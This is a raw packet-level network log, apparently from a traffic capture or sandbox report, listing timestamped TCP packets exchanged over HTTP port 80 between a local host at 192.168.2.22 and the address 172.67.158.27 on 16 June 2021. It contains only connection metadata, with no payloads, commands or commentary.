Jun 16, 2021 12:05:57.809149027 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.809923887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809954882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.809982061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810004950 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.810008049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810029984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810059071 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.810067892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810082912 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810097933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810112953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810129881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810133934 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.810144901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810163021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810195923 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.810967922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.810995102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811026096 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811044931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811060905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811077118 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.811079979 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811090946 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.811096907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811124086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811146021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811156988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.811161995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811177969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811194897 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.811873913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811898947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811922073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811944962 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811959982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811966896 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.811975002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.811990023 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812005043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812020063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812024117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.812041044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812072992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812107086 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.812810898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812836885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812851906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812866926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.812896013 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.813172102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813198090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813221931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813245058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813257933 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.813267946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813283920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813299894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813314915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813316107 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.813330889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813345909 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.813361883 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.813364983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814162970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814188957 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814217091 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.814244986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814261913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814277887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814292908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814307928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814311028 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.814327002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814343929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814358950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814374924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.814377069 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.815177917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815196037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815222979 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815226078 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.815239906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815254927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815274000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815289021 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.815290928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815306902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815321922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815336943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.815344095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.815370083 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.815435886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816062927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816097021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816116095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816137075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816140890 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.816160917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816175938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816200018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816209078 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.816215038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816230059 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816245079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816263914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.816279888 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.817076921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.817095041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.817111969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.817121983 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.817126989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.817145109 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.847105980 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.847448111 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.847959042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.847989082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848005056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848043919 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.848069906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848089933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848107100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848121881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848141909 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.848289013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848323107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848351002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848376989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848387003 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.848409891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848433971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848448992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848467112 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.848478079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848495007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848512888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848515034 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.848530054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.848710060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.849180937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849210024 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849234104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849252939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849255085 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.849280119 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849297047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849313021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849323988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849332094 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.849339962 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849353075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.849354982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849370956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.849474907 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.850153923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850198030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850228071 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850246906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850286007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850286007 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.850315094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850347996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850373983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850389957 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.850394011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850410938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850435019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.850445032 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.851164103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851200104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851232052 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851247072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851263046 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851274967 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.851278067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851289988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.851293087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851324081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851326942 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.851351976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851371050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851387024 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.851406097 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.852138042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852164984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852180004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852205038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852216959 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.852242947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852260113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852278948 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852294922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852296114 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.852324009 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852339983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.852344990 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.852360010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853060007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853087902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853105068 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.853110075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853131056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853154898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853166103 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.853178024 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853193045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853209019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853224993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853229046 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.853240967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853262901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.853296995 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.854110003 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854139090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854161978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854182959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854199886 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.854201078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854229927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854245901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854260921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854263067 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.854279041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854299068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854320049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.854336023 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.855020046 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855046988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855074883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855087042 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.855093956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855355978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855389118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855427980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855431080 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.855462074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855482101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855500937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855515003 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.855525017 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855540037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855556011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855570078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855577946 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.855597019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.855604887 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.856636047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856654882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856669903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856689930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856707096 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.856719017 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856720924 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.856738091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856753111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856769085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856770992 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.856796026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856812954 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856843948 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.856848001 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.857310057 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857328892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857357979 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857367039 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.857382059 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857402086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857417107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857434988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857434988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.857451916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857466936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857481956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.857501030 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.858273029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858290911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858303070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858325958 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.858330011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858347893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858369112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858391047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858402014 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.858413935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858428955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858443975 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858472109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.858479023 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.858489037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859289885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859333038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859337091 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.859369040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859397888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859415054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859436035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.859437943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859453917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859471083 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.859479904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859496117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859512091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859527111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.859545946 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.860184908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860217094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860241890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860265017 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.860268116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860291958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860306025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860323906 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.860337019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860352993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860368967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860383987 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.860402107 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.860402107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861179113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861207008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861226082 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.861232996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861264944 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861282110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861296892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861313105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861320019 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.861331940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861347914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861362934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861380100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.861381054 CEST	49169	80	192.168.2.22	172.67.158.27
